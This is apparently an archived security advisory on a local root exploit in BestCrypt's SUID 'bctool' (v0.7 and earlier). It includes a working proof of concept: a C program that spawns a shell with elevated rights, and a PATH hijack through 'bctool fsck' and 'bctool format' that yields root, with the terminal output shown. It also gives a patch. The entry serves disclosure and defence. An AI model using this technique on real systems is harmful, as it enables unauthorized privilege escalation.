|
Vulnerability BestCrypt Affected BestCrypt up to and including v0.7 Description Joel Eriksson found following. He has discovered a flaw in the SUID-root "bctool" program that comes with BestCrypt from Jetico. For those of you that did not know, BestCrypt is a product that allows users to create encrypted loopback filesystems using encryption algorithms such as Twofish, Blowfish, Gost or DES. While the Windows version (yes, compatible with the Linux version) is commercial and only distributed in binary format, the Linux version is distributed with source code under the GPL license. Joel had to run "fsck" (filesystem check) on an encrypted container after his two-year-old son accidently pressed the power button to his computer it occured to him that when the filesystem type is specified to "fsck" with "-t <fstype>" it executes "fsck.<fstype>" to do the actual check. "mkfs" behaves the same too btw. So, he tested the following: [je@seth ~]$ id uid=502(je) gid=505(je) [je@seth ~]$ bctool new fscktest -s 1k -a des Enter password: fscktest Verify password: fscktest [je@seth ~]$ cat > fsck.foo.c #include <unistd.h> #include <stdio.h> int main(void) { setuid(geteuid()); execl("/bin/bash", "-bash", NULL); return 1; /* this should not be reached */ } ^D [je@seth ~]$ gcc -o fsck.foo fsck.foo.c [je@seth ~]$ export PATH=.:$PATH [je@seth ~]$ bctool fsck -t foo fscktest Enter password: fscktest Parallelizing fsck version 1.19 (13-Jul-2000) [./fsck.foo -- /dev/bcrypt1] fsck.foo /dev/bcrypt1 bash-2.05# id uid=0(root) gid=505(je) bash-2.05# exit [je@seth ~]$ ln -s fsck.foo mkfs.foo [je@seth ~]$ bctool format fscktest -t foo Enter password: fscktest bash-2.05# id uid=0(root) gid=505(je) bash-2.05# Solution Authors already made a new version available that fixes the bug (v0.8) and hopefully this one does not have any more nasty security holes in it. Here is a patch Joel made for himself: --- bcrypt-0.7-2/src/misc.c Wed Jan 31 11:00:04 2001 +++ bcrypt-0.7-2/src/misc.c Mon Jun 4 00:18:47 2001 @@ -251,8 +251,7 @@ int run_process(char *args[]) { int pid, i, j; - char *env[16]; - extern char **environ; + char *env[] = { "PATH=/sbin", NULL }; assert(args != NULL); assert(args[0] != NULL); @@ -266,25 +265,6 @@ if ( pid == 0 ) { /* Child */ - - /* Prune environment to remove any potentially dangerous variables. */ - i = 0; - for ( j = 0; environ[j] && i < sizeof(env)/sizeof(env[0]) - 1; j++ ) - if ( strncmp(environ[j], "HOME=", 5) == 0 || - strncmp(environ[j], "USER=", 5) == 0 || - strncmp(environ[j], "PATH=", 5) == 0 || - strncmp(environ[j], "LOGNAME=", 8) == 0 || - strncmp(environ[j], "TZ=", 3) == 0 || - strncmp(environ[j], "MAIL=", 5) == 0 || - strncmp(environ[j], "SHELL=", 6) == 0 || - strncmp(environ[j], "TERM=", 5) == 0 || - strncmp(environ[j], "DISPLAY=", 8) == 0 || - strncmp(environ[j], "PRINTER=", 8) == 0 || - strncmp(environ[j], "XAUTHORITY=", 11) == 0 || - strncmp(environ[j], "TERMCAP=", 8) == 0 ) - env[i++] = environ[j]; - env[i] = NULL; - execve(args[0], args, env); msg(stderr,"execve %s failed: %s\n", args[0], strerror(errno)); }